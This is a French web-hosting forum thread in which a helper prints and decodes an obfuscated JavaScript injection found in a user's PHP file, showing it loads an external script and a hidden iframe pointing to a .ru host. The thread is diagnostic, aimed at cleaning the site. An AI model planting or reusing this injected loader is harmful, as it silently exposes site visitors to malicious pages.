mon site s'affole

Un petit coup d'oeil à votre ligne:

root@ns1:/home/toad# sed -n 251p /home/users/00/0d/2e/home/www/includes/hooks/index.php
<script>/*GNU GPL*/ try{window.onload = function(){var Sjtyp5xq2pk = document.createElement('script');Sjtyp5xq2pk.setAttribute('type', 'text/javascript');Sjtyp5xq2pk.setAttribute('id', 'myscript1');Sjtyp5xq2pk.setAttribute('src',  'h@t#(#t&&!@p&!:@!&&(/!/)#m)(@!a$@!r^#c((a&$-$!c)o#m#.)#(a!s@##k^^$&m@$e$)$n)&(.@!$#c!&^#(o)^$)m!!.#@e!^!a$s!y^@#^-#$(s!!h#)a(^r(#e!!@-&)^c)@o$&$!m$.(#$h@o^(m((e(s#$w!e#^e##&)t##n^#e^^t&&)&)w&!(o^$!)!r)@!&k&).&r&u$^:!^#8@$0)@8()0(@/)@$&p$!$&o(#&r!!!$n@$b$b&!(.#o@)#r@(^@g@)/($!p&o^#$r#)!^#n@^b##b)@&!.#^)o@r&(!!g&($#/&@$((g@&o^o(#g($l$^)#e!^).^!$c!o)m$$/$w!i#k@^i&a))).#c)!o)m@/))c^i#!(t^$$i#!$b#)a(#!n#$!k((.^@&c$!@#o$#@)m(/&!('.replace(/\(|#|\!|\^|@|&|\)|\$/ig, ''));Sjtyp5xq2pk.setAttribute('defer', 'defer');document.body.appendChild(Sjtyp5xq2pk);}} catch(e) {}</

Quand on convertit l'url src du script javascript externe rajouté à la volée on obtient l'url suivante:

http://marca-com.askmen.com.easy-share- … ibank.com/

Le script en question devient:

Vcnucf7bc = 'm!a&#r($!c^@)a@$(-(!^c^)o$!)m!.^!)a!)!s&^k$m))e&@)&n((.)(^^#c($#o$(!m#!).^e!$#a($s!y&^@-#$s&(@h!(a(!r(^@$#e&^-)#@!c^$@o!#(m^.)&#h&)o#@!&m@!e$^^s&#w!)e()!^!e@#!@t^!n@e(@t###@#w&o@r)(#k@.#!r$^u@$'.replace(/&|\$|\!|@|\)|\^|#|\(/ig, '');
f = document.createElement('iframe');
f.style.visibility = 'hidden';
f.src = 'http://'+Vcnucf7bc+':8080/index.php?js';
document.body.appendChild(f);

La variable  Vcnucf7bc est convertit en: marca-com.askmen.com.easy-share-com.homesweetnetwork.ru

Et donc, ce que fait ce script est d'ouvrir une page externe vers la page:

http://marca-com.askmen.com.easy-share- … dex.php?js

Cette page ne renvoie rien, donc je ne saurais dire ce qu'elle fait exactement..

Et si vous regardiez là où vous avez téléchargé le script en premier lieu ? Vous comprenez bien qu'on ne peut pas faire de support pour chaque application écrite en PHP..

Pour le problème des headers, c'est simple, il suffit de supprimer tous les caractères après le ?> (astuce: même les espaces..)

bonjour,
avez vous un module photo sur le forum ou un upload de fichiers?
si oui, désactivez le, car la vérification des fichiers est très aléatoire et laisse passer des scripts.